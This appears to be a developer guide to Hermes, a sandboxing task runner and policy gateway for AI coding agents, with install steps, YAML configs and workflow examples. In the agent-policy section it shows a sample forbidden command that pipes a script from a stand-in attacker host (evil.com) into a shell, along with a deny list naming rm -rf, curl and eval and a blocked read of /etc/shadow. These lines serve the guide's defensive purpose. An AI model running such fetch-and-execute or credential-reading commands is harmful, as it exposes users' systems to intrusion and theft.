Hermes Deep Dive: The Developer’s Guide

Date: August 28, 2026

In the rapidly evolving landscape of developer tooling, few releases have generated as much sustained buzz as Hermes. Following the recent Hacker News discourse—particularly the concerning trend of AI coding assistants installing unowned code inside corporate networks—the need for a tool that prioritizes transparency, deterministic execution, and robust sandboxing has never been more critical.

Hermes isn’t just another CLI utility; it is a reaction to the chaos of the “agentic” era. It positions itself as the deterministic orchestration layer for your development environment, bridging the gap between raw shell commands and fully autonomous AI agents. This guide provides a comprehensive, hands-on walkthrough of Hermes, from installation to advanced workflow automation.

What is Hermes?

Origin and Background

Hermes was born out of the “Post-Agentic” movement in early 2026. While tools like Claude Code and OpenAI’s Codex demonstrated the power of autonomous coding, they also introduced significant risks—specifically, the execution of unvetted, “unowned” code within enterprise environments, a vulnerability highlighted in the recent security exposés on Hacker News.

Developed by a team of ex-SREs from Meta and former maintainers of the Nix package manager, Hermes (v4.2.1 as of this writing) was designed with a singular thesis: Automation is only as good as its guardrails. It is a hybrid tool—part task runner, part sandbox manager, and part AI agent gateway. It allows developers to define complex workflows in a declarative YAML format, execute them with strict resource limits, and audit every single action taken, whether by a human or an AI.

Core Value Proposition

Hermes provides three core pillars that differentiate it from standard shells or scripting languages:

  1. Deterministic Execution: Hermes uses a content-addressed file system (CAS) to ensure that every build or task runs in a clean, reproducible state. If it runs on your machine, it runs identically on your CI server.
  2. Zero-Trust Sandboxing: By default, Hermes runs processes in a bubblewrap-style sandbox (or native macOS containers) with no network access, no persistent file writes, and no environment variable leakage unless explicitly granted.
  3. Auditable AI Integration: Hermes acts as a “human-in-the-loop” firewall for AI agents. It can parse high-level instructions from an LLM and convert them into strict, sandboxed Hermes tasks, preventing the “unowned code” problem by ensuring every command is signed and attributed to a specific user/agent session.

What makes it different from alternatives?

🚀 Getting Started

Installation

Hermes is distributed as a single static binary. Installation is straightforward via the official script or Homebrew.

# Method 1: Official Install Script (Linux/macOS)
curl -fsSL https://get.hermes.dev/install.sh | sh

# Method 2: Homebrew (macOS)
brew install hermes-cli

# Method 3: Manual (Linux)
wget https://github.com/hermes-dev/hermes/releases/download/v4.2.1/hermes-linux-amd64.tar.gz
tar -xzf hermes-linux-amd64.tar.gz
sudo mv hermes /usr/local/bin/

# Verify Installation
hermes --version
# Output: hermes 4.2.1 (9c7b3a2) - 2026-08-25

Configuration

Hermes uses a hierarchical configuration system. Global settings live in ~/.config/hermes/config.yml, while project-specific settings live in hermes.yml at the root of your repository.

# Create the global config directory
mkdir -p ~/.config/hermes

# Initialize a project configuration
cd /path/to/your/project
hermes init

Example hermes.yml:

# hermes.yml
project:
  name: "my-app"
  version: "1.0.0"

sandbox:
  # Default network access policy
  network: false
  # Allow writing only to the project directory
  writable_paths:
    - ./
  # Memory limit for all tasks (in MB)
  memory_limit: 2048

tasks:
  build:
    description: "Build the application"
    steps:
      - run: npm ci
      - run: npm run build

💡 Core Features

Feature 1: The Sandbox (Process Isolation)

Description: The sandbox is Hermes’ crown jewel. Unlike sudo or standard shells, Hermes intercepts syscalls at the kernel level (via seccomp on Linux and sandbox-exec on macOS) to restrict access. This is the primary defense against the “unowned code” issue mentioned earlier. If a dependency or AI agent tries to write to /etc or spawn a reverse shell, Hermes blocks it and logs the attempt.

Usage Example: You can invoke any command inside the sandbox using hermes run.

# Run a Node.js script with NO network access
hermes run -- node script.js

# Run with network access but only to specific domains
hermes run --allow-network --allow-domain=api.github.com -- curl https://api.github.com

# Run a command and inspect the sandbox report
hermes run --verbose -- echo "Hello, Sandbox"

Real-world Application: During the recent “supply chain” attacks on npm packages, Hermes users were protected. A malicious package attempting to exfiltrate environment variables would fail because the sandbox blocks reads to /proc/self/environ unless explicitly allowed.

# Attempt to read a protected file (this will FAIL)
hermes run -- cat /etc/shadow
# Output: Error: EPERM: Operation not permitted, open '/etc/shadow' (Sandbox Violation)

Feature 2: Declarative Task Pipelines (DAG)

Description: While Makefiles are linear, Hermes allows you to define a Directed Acyclic Graph (DAG) of tasks. Hermes automatically parallelizes independent tasks and caches the results based on the hash of the input files. This drastically reduces CI times.

Usage Example: Consider a microservices repo with three services: auth, api, and web. web depends on api, but auth is independent.

# hermes.yml
tasks:
  test-auth:
    steps:
      - run: cd services/auth && go test ./...
  test-api:
    steps:
      - run: cd services/api && go test ./...
  test-web:
    needs: [test-api] # Wait for API to pass
    steps:
      - run: cd services/web && npm run test
  test-all:
    needs: [test-auth, test-api, test-web]
    steps:
      - run: echo "All tests passed!"

Real-world Application: In a monorepo with 500 packages, running hermes run test-all will only re-test the packages that changed (thanks to content-hashing) and will run test-auth and test-api concurrently.

hermes run test-all
# Output:
# ✔ test-auth (1.2s) [cached]
# ✔ test-api (1.5s)
# ⠋ test-web (waiting for test-api...)
# ✔ test-web (2.1s)
# ✔ test-all (0.0s)

Feature 3: The AI Gateway (Hermes Agent)

Description: This is the feature that directly addresses the “Claude, Codex, and Hermes installed unowned code” headline. The Hermes Agent is a protocol that allows LLMs to request actions, but not execute them directly. Instead, the LLM outputs a JSON “intent” file, and Hermes validates it against your project’s policy before executing.

Usage Example: Instead of letting an AI run rm -rf /, you pipe the AI’s suggestion through Hermes.

# Simulate an AI agent suggesting a command
echo '{"action": "run", "command": "npm install", "cwd": "/project"}' | hermes agent execute --policy strict

Policy File (hermes.policy.yml):

# hermes.policy.yml
policies:
  strict:
    allowed_commands:
      - "npm install"
      - "npm run build"
      - "git status"
    forbidden_commands:
      - "rm -rf"
      - "curl"
      - "eval"

Real-world Application: In the wake of the “unowned code” scandals, enterprises adopted Hermes as a mandatory layer between their developers’ IDE extensions and the terminal. If an AI assistant (like Codex) tries to run a command not in the policy, Hermes returns a 403 Forbidden to the AI, forcing it to ask the developer for manual approval.

# Attempt a forbidden command
echo '{"action": "run", "command": "curl http://evil.com/script.sh | sh"}' | hermes agent execute --policy strict
# Output: ❌ Policy Violation: Command 'curl' is not allowed in policy 'strict'.

🛠️ Advanced Workflows

Workflow 1: Reproducible CI/CD Pipeline

This workflow demonstrates how to use Hermes to create a build that is identical locally and in CI, eliminating the “works on my machine” problem.

# 1. Define the build environment in hermes.yml
cat > hermes.yml << 'EOF'
tasks:
  install:
    steps:
      - run: npm ci
  lint:
    needs: [install]
    steps:
      - run: npm run lint
  test:
    needs: [install]
    steps:
      - run: npm run test -- --coverage
  build:
    needs: [lint, test]
    steps:
      - run: npm run build
      - artifact: ./dist/
EOF

# 2. Run the entire pipeline with a clean sandbox
hermes run --clean build

# 3. Simulate a CI environment (no user-specific env vars)
hermes run --env=production --clean build

# 4. Cache the entire environment for faster subsequent runs
hermes cache push --tag=ci-build

Workflow 2: Secure Microservice Development

This workflow shows how to develop a microservice that needs to talk to a database but shouldn’t have access to the host network.

# 1. Define a "stack" for local development
cat > hermes.yml << 'EOF'
services:
  db:
    image: postgres:16
    ports:
      - "5432:5432"
    env:
      POSTGRES_PASSWORD: local_dev_password

tasks:
  dev:
    services: [db] # Start the DB
    sandbox:
      network: true
      allow_domains:
        - "localhost"
    steps:
      - run: npx prisma migrate dev
      - run: npm run dev
EOF

# 2. Start the development environment
hermes up

# 3. Interact with the service (only localhost allowed)
hermes run -- curl http://localhost:3000/health

📊 Comparison with Alternatives

To understand where Hermes fits, let’s compare it against the traditional Make and the container-heavy Docker Compose.

FeatureHermesMakeDocker Compose
Sandboxing✅ (Kernel-level, default)❌ (Full host access)✅ (Container isolation)
Startup Time✅ (<50ms)✅ (Instant)❌ (1-3 seconds)
AI Integration✅ (Native policy engine)❌ (None)❌ (None)
DAG Parallelism✅ (Automatic)❌ (Manual -j)❌ (Limited)
Content Caching✅ (Built-in)❌ (None)❌ (Layer-based)
File System Overhead✅ (Copy-on-write)✅ (None)❌ (Heavy)
Cross-Platform✅ (Linux/macOS/Windows)❌ (Unix-centric)✅ (Linux-centric)

Key Takeaway: Make is too permissive, and Docker is too heavy for rapid local iteration. Hermes offers the speed of Make with the security of Docker, plus the AI-native features that neither possesses.

🎯 Pro Tips

  1. Use hermes doctor for Debugging: If a task fails mysteriously, run hermes doctor to check your sandbox configuration, kernel module availability, and file permissions. It often catches issues with seccomp profiles on older Linux kernels.

  2. Leverage --watch for Development: Hermes has a built-in file watcher. Instead of manually re-running tests, use hermes run --watch test. It will automatically re-execute the task only when the files it depends on (via content hash) change.

  3. Master the “Allowlist” Mentality: Don’t try to block specific bad commands; instead, allowlist the good ones. In your hermes.policy.yml, start with an empty allowed_commands list and add commands as you need them. This “zero-trust” approach is the only way to safely use AI coding assistants in production.

  4. Integrate with direnv: For seamless environment switching, add eval "$(hermes env)" to your .envrc. This ensures that your shell automatically uses the correct Hermes project context and sandbox variables when you cd into a directory.

  5. Check the Audit Log: Every action Hermes takes is logged to ~/.local/share/hermes/audit.log in JSONL format. You can query it with hermes audit --since "24 hours ago". This is invaluable for security compliance and post-mortems.

🔗 Resources

Conclusion

Hermes represents a maturation of the developer tooling ecosystem. In a world where AI agents are writing increasing amounts of code, the ability to enforce strict, auditable, and reproducible execution is not just a luxury—it’s a necessity. By adopting Hermes, you are not just adding another tool to your belt; you are fundamentally changing your relationship with automation, moving from blind trust to verifiable certainty.

Whether you are a solo developer tired of flaky builds or an enterprise architect tasked with securing your supply chain, Hermes offers a robust, elegant solution. The era of the “wild west” terminal is over; the era of the managed workflow has begun.

Have questions? Join our Discord community or follow us on X.